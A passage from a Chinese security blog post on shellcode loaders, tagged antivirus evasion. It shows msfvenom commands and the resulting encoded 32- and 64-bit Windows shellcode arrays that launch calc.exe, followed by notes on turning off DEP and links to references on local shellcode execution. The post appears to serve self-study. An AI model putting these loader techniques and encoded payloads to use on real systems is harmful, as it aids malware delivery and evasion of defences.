class="string">&quot;\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03&quot;</span></span><br><span class="line"><span class="string">&quot;\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b&quot;</span></span><br><span class="line"><span class="string">&quot;\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24&quot;</span></span><br><span class="line"><span class="string">&quot;\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb&quot;</span></span><br><span class="line"><span class="string">&quot;\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f&quot;</span></span><br><span class="line"><span class="string">&quot;\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5&quot;</span></span><br><span class="line"><span class="string">&quot;\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a&quot;</span></span><br><span class="line"><span class="string">&quot;\x00\x53\xff\xd5\x63\x61\x6c\x63\x00&quot;</span>;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">➜  ~ msfvenom -p windows/exec cmd=calc.exe -f c --bad <span class="string">&quot;\x00&quot;</span></span><br><span class="line">[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload</span><br><span class="line">[-] No arch selected, selecting arch: x86 from the payload</span><br><span class="line">Found <span class="number">11</span> compatible encoders</span><br><span class="line">Attempting to encode payload with <span class="number">1</span> iterations of x86/shikata_ga_nai</span><br><span class="line">x86/shikata_ga_nai succeeded with size <span class="number">220</span> (iteration=<span class="number">0</span>)</span><br><span class="line">x86/shikata_ga_nai chosen with <span class="keyword">final</span> size <span class="number">220</span></span><br><span class="line">Payload size: <span class="number">220</span> bytes</span><br><span class="line">Final size of c file: <span class="number">949</span> bytes</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> buf[] = </span><br><span class="line"><span class="string">&quot;\xbe\x7a\x1b\x33\xc4\xd9\xc9\xd9\x74\x24\xf4\x5f\x31\xc9\xb1&quot;</span></span><br><span class="line"><span class="string">&quot;\x31\x83\xef\xfc\x31\x77\x0f\x03\x77\x75\xf9\xc6\x38\x61\x7f&quot;</span></span><br><span class="line"><span class="string">&quot;\x28\xc1\x71\xe0\xa0\x24\x40\x20\xd6\x2d\xf2\x90\x9c\x60\xfe&quot;</span></span><br><span class="line"><span class="string">&quot;\x5b\xf0\x90\x75\x29\xdd\x97\x3e\x84\x3b\x99\xbf\xb5\x78\xb8&quot;</span></span><br><span class="line"><span class="string">&quot;\x43\xc4\xac\x1a\x7a\x07\xa1\x5b\xbb\x7a\x48\x09\x14\xf0\xff&quot;</span></span><br><span class="line"><span class="string">&quot;\xbe\x11\x4c\x3c\x34\x69\x40\x44\xa9\x39\x63\x65\x7c\x32\x3a&quot;</span></span><br><span class="line"><span class="string">&quot;\xa5\x7e\x97\x36\xec\x98\xf4\x73\xa6\x13\xce\x08\x39\xf2\x1f&quot;</span></span><br><span class="line"><span class="string">&quot;\xf0\x96\x3b\x90\x03\xe6\x7c\x16\xfc\x9d\x74\x65\x81\xa5\x42&quot;</span></span><br><span class="line"><span class="string">&quot;\x14\x5d\x23\x51\xbe\x16\x93\xbd\x3f\xfa\x42\x35\x33\xb7\x01&quot;</span></span><br><span class="line"><span class="string">&quot;\x11\x57\x46\xc5\x29\x63\xc3\xe8\xfd\xe2\x97\xce\xd9\xaf\x4c&quot;</span></span><br><span class="line"><span class="string">&quot;\x6e\x7b\x15\x22\x8f\x9b\xf6\x9b\x35\xd7\x1a\xcf\x47\xba\x70&quot;</span></span><br><span class="line"><span class="string">&quot;\x0e\xd5\xc0\x36\x10\xe5\xca\x66\x79\xd4\x41\xe9\xfe\xe9\x83&quot;</span></span><br><span class="line"><span class="string">&quot;\x4e\xf0\xa3\x8e\xe6\x99\x6d\x5b\xbb\xc7\x8d\xb1\xff\xf1\x0d&quot;</span></span><br><span class="line"><span class="string">&quot;\x30\x7f\x06\x0d\x31\x7a\x42\x89\xa9\xf6\xdb\x7c\xce\xa5\xdc&quot;</span></span><br><span class="line"><span class="string">&quot;\x54\xad\x28\x4f\x34\x1c\xcf\xf7\xdf\x60&quot;</span>;</span><br><span class="line"></span><br></pre></td></tr></table></figure>



<h3 id="64位"><a href="#64位" class="headerlink" title="64位"></a>64位</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">➜  ~ msfvenom -p windows/x64/exec cmd=calc.exe -f c --bad <span class="string">&quot;\x00&quot;</span>               </span><br><span class="line">[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload</span><br><span class="line">[-] No arch selected, selecting arch: x64 from the payload</span><br><span class="line">Found <span class="number">3</span> compatible encoders</span><br><span class="line">Attempting to encode payload with <span class="number">1</span> iterations of generic/none</span><br><span class="line">generic/none failed with Encoding failed due to a bad character (index=<span class="number">7</span>, <span class="keyword">char</span>=<span class="number">0x00</span>)</span><br><span class="line">Attempting to encode payload with <span class="number">1</span> iterations of x64/<span class="keyword">xor</span></span><br><span class="line">x64/<span class="keyword">xor</span> succeeded with size <span class="number">319</span> (iteration=<span class="number">0</span>)</span><br><span class="line">x64/<span class="keyword">xor</span> chosen with <span class="keyword">final</span> size <span class="number">319</span></span><br><span class="line">Payload size: <span class="number">319</span> bytes</span><br><span class="line">Final size of c file: <span class="number">1366</span> bytes</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> buf[] = </span><br><span class="line"><span class="string">&quot;\x48\x31\xc9\x48\x81\xe9\xdd\xff\xff\xff\x48\x8d\x05\xef\xff&quot;</span></span><br><span class="line"><span class="string">&quot;\xff\xff\x48\xbb\xf5\x1f\xb6\x9f\x1f\x80\x55\xcb\x48\x31\x58&quot;</span></span><br><span class="line"><span class="string">&quot;\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x09\x57\x35\x7b\xef\x68&quot;</span></span><br><span class="line"><span class="string">&quot;\x95\xcb\xf5\x1f\xf7\xce\x5e\xd0\x07\x9a\xa3\x57\x87\x4d\x7a&quot;</span></span><br><span class="line"><span class="string">&quot;\xc8\xde\x99\x95\x57\x3d\xcd\x07\xc8\xde\x99\xd5\x57\x3d\xed&quot;</span></span><br><span class="line"><span class="string">&quot;\x4f\xc8\x5a\x7c\xbf\x55\xfb\xae\xd6\xc8\x64\x0b\x59\x23\xd7&quot;</span></span><br><span class="line"><span class="string">&quot;\xe3\x1d\xac\x75\x8a\x34\xd6\xbb\xde\x1e\x41\xb7\x26\xa7\x5e&quot;</span></span><br><span class="line"><span class="string">&quot;\xe7\xd7\x94\xd2\x75\x40\xb7\x23\xfe\x9e\xcf\x0b\xd5\x43\xf5&quot;</span></span><br><span class="line"><span class="string">&quot;\x1f\xb6\xd7\x9a\x40\x21\xac\xbd\x1e\x66\xcf\x94\xc8\x4d\x8f&quot;</span></span><br><span class="line"><span class="string">&quot;\x7e\x5f\x96\xd6\x1e\x50\xb6\x9d\xbd\xe0\x7f\xde\x94\xb4\xdd&quot;</span></span><br><span class="line"><span class="string">&quot;\x83\xf4\xc9\xfb\xae\xd6\xc8\x64\x0b\x59\x5e\x77\x56\x12\xc1&quot;</span></span><br><span class="line"><span class="string">&quot;\x54\x0a\xcd\xff\xc3\x6e\x53\x83\x19\xef\xfd\x5a\x8f\x4e\x6a&quot;</span></span><br><span class="line"><span class="string">&quot;\x58\x0d\x8f\x7e\x5f\x92\xd6\x1e\x50\x33\x8a\x7e\x13\xfe\xdb&quot;</span></span><br><span class="line"><span class="string">&quot;\x94\xc0\x49\x82\xf4\xcf\xf7\x14\x1b\x08\x1d\xca\x25\x5e\xee&quot;</span></span><br><span class="line"><span class="string">&quot;\xde\x47\xde\x0c\x91\xb4\x47\xf7\xc6\x5e\xda\x1d\x48\x19\x3f&quot;</span></span><br><span class="line"><span class="string">&quot;\xf7\xcd\xe0\x60\x0d\x8a\xac\x45\xfe\x14\x0d\x69\x02\x34\x0a&quot;</span></span><br><span class="line"><span class="string">&quot;\xe0\xeb\xd7\xa5\x81\x55\xcb\xf5\x1f\xb6\x9f\x1f\xc8\xd8\x46&quot;</span></span><br><span class="line"><span class="string">&quot;\xf4\x1e\xb6\x9f\x5e\x3a\x64\x40\x9a\x98\x49\x4a\xa4\x70\xe0&quot;</span></span><br><span class="line"><span class="string">&quot;\x69\xa3\x5e\x0c\x39\x8a\x3d\xc8\x34\x20\x57\x35\x5b\x37\xbc&quot;</span></span><br><span class="line"><span class="string">&quot;\x53\xb7\xff\x9f\x4d\x7f\x6a\x85\xee\x8c\xe6\x6d\xd9\xf5\x1f&quot;</span></span><br><span class="line"><span class="string">&quot;\xd9\x14\x42\x2f\xe0\x63\xfc\x7e\xec\x36\xe5\x90\x67\xd3\x9f&quot;</span></span><br><span class="line"><span class="string">&quot;\x1f\x80\x55\xcb&quot;</span>;</span><br></pre></td></tr></table></figure>

<h1 id="vscode与Visual-Studio"><a href="#vscode与Visual-Studio" class="headerlink" title="vscode与Visual Studio"></a>vscode与Visual Studio</h1><p>经过测试，我这里的vscode无论是32位的指针执行还是动态分配执行都是可以正常弹calc的；但是64位的指针执行还是动态分配执行都不可以执行，应该是vscode的环境问题。</p>
<p>而在Visual Studio中，32位下，动态分配的方式可以正常执行，但是如果是想要指针执行，则需要关闭DEP：</p>
<p><img src="/2022/04/08/ShellCodeLoader/image-20220408231623763.png" alt="image-20220408231623763"></p>
<p>64位下，动态分配可以正常运行，但是指针执行无论如何都没有成功，找了半天解决办法仍未成功，64位程序无法关闭DEP。</p>
<p>之后找到解决办法再写吧，占个坑位，有大佬如果知道的QQ联系QAQ.</p>
<blockquote>
<p>  <a target="_blank" rel="noopener" href="https://422926799.github.io/posts/44310b89.html">https://422926799.github.io/posts/44310b89.html</a></p>
<p>  <a target="_blank" rel="noopener" href="https://www.redteam101.tech/offensive-security/code-injection-process-injection/local-shellcode-execution-without-windows-apis">https://www.redteam101.tech/offensive-security/code-injection-process-injection/local-shellcode-execution-without-windows-apis</a></p>
<p>  <a target="_blank" rel="noopener" href="https://wooyun.js.org/drops/Exploit%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-Windows%E5%9F%BA%E7%A1%80&amp;shellcode.html">https://wooyun.js.org/drops/Exploit%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-Windows%E5%9F%BA%E7%A1%80&amp;shellcode.html</a></p>
<p>  <a target="_blank" rel="noopener" href="https://luckyfuture.top/ShellcodeLoader.html">https://luckyfuture.top/ShellcodeLoader.html</a></p>
</blockquote>

                                                                    </div>
                                                                    
                                                                        <div class="prev-or-next">
                                                                            <div class="post-foot-next">
                                                                                
                                                                                    <a href="/2022/04/07/msfvenom%E8%AF%A6%E8%A7%A3/" target="_self">
                                                                                        <i class="iconfont icon-chevronleft"></i>
                                                                                        <span>Prev</span>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                            <div class="post-attach">
                                                                                <!-- <span class="post-pubtime">
              <i class="iconfont icon-updatetime" title="Update time"></i>
              2022-04-08
            </span> -->

                                                                                
                                                                                            <span class="post-categories">
          <!-- <i class="iconfont icon-bookmark" title="Categories"></i> -->
          
          <!-- <span class="span--category">
            <a href="/categories/Technology/" title="Technology">
              <b>#</b> Technology
            </a>
          </span> -->
                                                                                            
                                                                                                </span>
                                                                                                
                                                                                    <span class="post-tags">
          <!-- <i class="iconfont icon-tags" title="Tags"></i> -->
          
          <!-- <span class="span--tag">
            <a href="/tags/%E5%85%8D%E6%9D%80/" title="免杀">
              <b>#</b> 免杀
            </a>
          </span> -->
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            </div>
                                                                            <div class="post-foot-prev">
                                                                                
                                                                                    <a href="/2022/04/09/%E5%9B%9E%E8%B0%83%E5%87%BD%E6%95%B0%E5%8A%A0%E8%BD%BDshellcode/" target="_self">
                                                                                        <span>Next</span>
                                                                                        <i class="iconfont icon-chevronright"></i>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                        </div>
                                                                        
                                                                </div>
                                                                
  <div id="btn-catalog" class="btn-catalog">
    <i class="iconfont icon-catalog"></i>
  </div>
  <div class="post-catalog hidden" id="catalog">
    <div class="title">Contents</div>
    <div class="catalog-content">
      
        <ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#C-x2F-C"><span class="toc-text">C&#x2F;C++</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%8C%87%E9%92%88%E6%89%A7%E8%A1%8C"><span class="toc-text">指针执行</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%8A%A8%E6%80%81%E5%88%86%E9%85%8D"><span class="toc-text">动态分配</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%86%85%E8%81%94%E6%B1%87%E7%BC%96"><span class="toc-text">内联汇编</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%86%99%E5%88%B0text%E6%AE%B5"><span class="toc-text">写到text段</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#shellcode"><span class="toc-text">shellcode</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%BC%B9%E8%AE%A1%E7%AE%97%E5%99%A8"><span class="toc-text">弹计算器</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#32%E4%BD%8D"><span class="toc-text">32位</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#64%E4%BD%8D"><span class="toc-text">64位</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#vscode%E4%B8%8EVisual-Studio"><span class="toc-text">vscode与Visual Studio</span></a></li></ol>
      
    </div>
  </div>

  
<script src="/js/catalog.js"></script>




                                                                    
                                                                        <div class="comments-container">
                                                                            







                                                                        </div>
                                                                        
                                                            </div>
                                                            
        
<div class="footer">
  <div class="social">
    <ul>
      
        <li>
          <a title="github" target="_blank" rel="noopener" href="https://github.com/Ghostasky">
            <i class="iconfont icon-github"></i>
          </a>
        </li>
      
        <li>
          <a title="twitter" target="_blank" rel="noopener" href="https://twitter.com/ghostasky">
            <i class="iconfont icon-twitter"></i>
          </a>
        </li>
      
    </ul>
  </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/Ghostasky">怕什么真理无穷，进一寸有进一寸的欢喜。</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Copyright © 2022 Oranges</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Theme by Oranges | Powered by Hexo</a>
        
    </div>
  
</div>

      </div>

      <div class="tools-bar">
        <div class="back-to-top tools-bar-item hidden">
  <a href="javascript: void(0)">
    <i class="iconfont icon-chevronup"></i>
  </a>
</div>


<script src="/js/backtotop.js"></script>



        
  <div class="search-icon tools-bar-item" id="search-icon">
    <a href="javascript: void(0)">
      <i class="iconfont icon-search"></i>
    </a>
  </div>

  <div class="search-overlay hidden">
    <div class="search-content" tabindex="0">
      <div class="search-title">
        <span class="search-icon-input">
          <a href="javascript: void(0)">
            <i class="iconfont icon-search"></i>
          </a>
        </span>
        
          <input type="text" class="search-input" id="search-input" placeholder="Search...">
        
        <span class="search-close-icon" id="search-close-icon">
          <a href="javascript: void(0)">
            <i class="iconfont icon-close"></i>
          </a>
        </span>
      </div>
      <div class="search-result" id="search-result"></div>
    </div>
  </div>

  <script type="text/javascript">
    var inputArea = document.querySelector("#search-input")
    var searchOverlayArea = document.querySelector(".search-overlay")

    inputArea.onclick = function() {
      getSearchFile()
      this.onclick = null
    }

    inputArea.onkeydown = function() {
      if(event.keyCode == 13)
        return false
    }

    function openOrHideSearchContent() {
      let isHidden = searchOverlayArea.classList.contains('hidden')
      if (isHidden) {
        searchOverlayArea.classList.remove('hidden')
        document.body.classList.add('hidden')
        // inputArea.focus()
      } else {
        searchOverlayArea.classList.add('hidden')
        document.body.classList.remove('hidden')
      }
    }

    function blurSearchContent(e) {
      if (e.target === searchOverlayArea) {
        openOrHideSearchContent()
      }
    }

    document.querySelector("#search-icon").addEventListener("click", openOrHideSearchContent, false)
    document.querySelector("#search-close-icon").addEventListener("click", openOrHideSearchContent, false)
    searchOverlayArea.addEventListener("click", blurSearchContent, false)

    var searchFunc = function (path, search_id, content_id) {
      'use strict';
      var $input = document.getElementById(search_id);
      var $resultContent = document.getElementById(content_id);
      $resultContent.innerHTML = "<ul><span class='local-search-empty'>First search, index file loading, please wait...<span></ul>";
      $.ajax({
        // 0x01. load xml file
        url: path,
        dataType: "xml",
        success: function (xmlResponse) {
          // 0x02. parse xml file
          var datas = $("entry", xmlResponse).map(function () {
            return {
              title: $("title", this).text(),
              content: $("content", this).text(),
              url: $("url", this).text()
            };
          }).get();
          $resultContent.innerHTML = "";

          $input.addEventListener('input', function () {
            // 0x03. parse query to keywords list
            var str = '<ul class=\"search-result-list\">';
            var keywords = this.value.trim().toLowerCase().split(/[\s\-]+/);
            $resultContent.innerHTML = "";
            if (this.value.trim().length <= 0) {
              return;
            }
            // 0x04. perform local searching
            datas.forEach(function (data) {
              var isMatch = true;
              var content_index = [];
              if (!data.title || data.title.trim() === '') {
                data.title = "Untitled";
              }
              var orig_data_title = data.title.trim();
              var data_title = orig_data_title.toLowerCase();
              var orig_data_content = data.content.trim().replace(/<[^>]+>/g, "");
              var data_content = orig_data_content.toLowerCase();
              var data_url = data.url;
              var index_title = -1;
              var index_content = -1;
              var first_occur = -1;
              // only match artiles with not empty contents
              if (data_content !== '') {
                keywords.forEach(function (keyword, i) {
                  index_title = data_title.indexOf(keyword);
                  index_content = data_content.indexOf(keyword);

                  if (index_title < 0 && index_content < 0) {
                    isMatch = false;
                  } else {
                    if (index_content < 0) {
                      index_content = 0;
                    }
                    if (i == 0) {
                      first_occur = index_content;
                    }
                    // content_index.push({index_content:index_content, keyword_len:keyword_len});
                  }
                });
              } else {
                isMatch = false;
              }
              // 0x05. show search results
              if (isMatch) {
                str += "<li><a href='" + data_url + "' class='search-result-title'>" + orig_data_title + "</a>";
                var content = orig_data_content;
                if (first_occur >= 0) {
                  // cut out 100 characters
                  var start = first_occur - 20;
                  var end = first_occur + 80;

                  if (start < 0) {
                    start = 0;
                  }

                  if (start == 0) {
                    end = 100;
                  }

                  if (end > content.length) {
                    end = content.length;
                  }

                  var match_content = content.substr(start, end);

                  // highlight all keywords
                  keywords.forEach(function (keyword) {
                    var regS = new RegExp(keyword, "gi");
                    match_content = match_content.replace(regS, "<span class=\"search-keyword\">" + keyword + "</span>");
                  });

                  str += "<p class=\"search-result-abstract\">" + match_content + "...</p>"
                }
                str += "</li>";
              }
            });
            str += "</ul>";
            if (str.indexOf('<li>') === -1) {
              return $resultContent.innerHTML = "<ul><span class='local-search-empty'>No result<span></ul>";
            }
            $resultContent.innerHTML = str;
          });
        },
        error: function(xhr, status, error) {
          $resultContent.innerHTML = ""
          if (xhr.status === 404) {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The search.xml file was not found, please refer to：<a href='https://github.com/zchengsite/hexo-theme-oranges#configuration' target='_black'>configuration</a><span></ul>";
          } else {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The request failed, Try to refresh the page or try again later.<span></ul>";
          }
        }
      });
      $(document).on('click', '#search-close-icon', function() {
        $('#search-input').val('');
        $('#search-result').html('');
      });
    }

    var getSearchFile = function() {
        var path = "/search.xml";
        searchFunc(path, 'search-input', 'search-result');
    }
  </script>




        
  <div class="tools-bar-item theme-icon" id="switch-color-scheme">
    <a href="javascript: void(0)">
      <i id="theme-icon" class="iconfont icon-moon"></i>
    </a>
  </div>

  
<script src="/js/colorscheme.js"></script>





        
  
    <div class="share-icon tools-bar-item">
      <a href="javascript: void(0)" id="share-icon">
        <i class="iconfont iconshare"></i>
      </a>
      <div class="share-content hidden">
        
          <a class="share-item" href="https://twitter.com/intent/tweet?text=' + ShellCode%20Loader(%E6%8C%81%E7%BB%AD%E6%9B%B4%E6%96%B0) + '&url=' + https%3A%2F%2Fghostasky.github.io%2F2022%2F04%2F08%2FShellCodeLoader%2F + '" target="_blank" title="Twitter">
            <i class="iconfont icon-twitter"></i>
          </a>
        
        
          <a class="share-item" href="https://www.facebook.com/sharer.php?u=https://ghostasky.github.io/2022/04/08/ShellCodeLoader/" target="_blank" title="Facebook">
            <i class="iconfont icon-facebooksquare"></i>
          </a>
        
      </div>
    </div>
  
  
<script src="/js/shares.js"></script>



      </div>
    </div>
  </body>
</html>
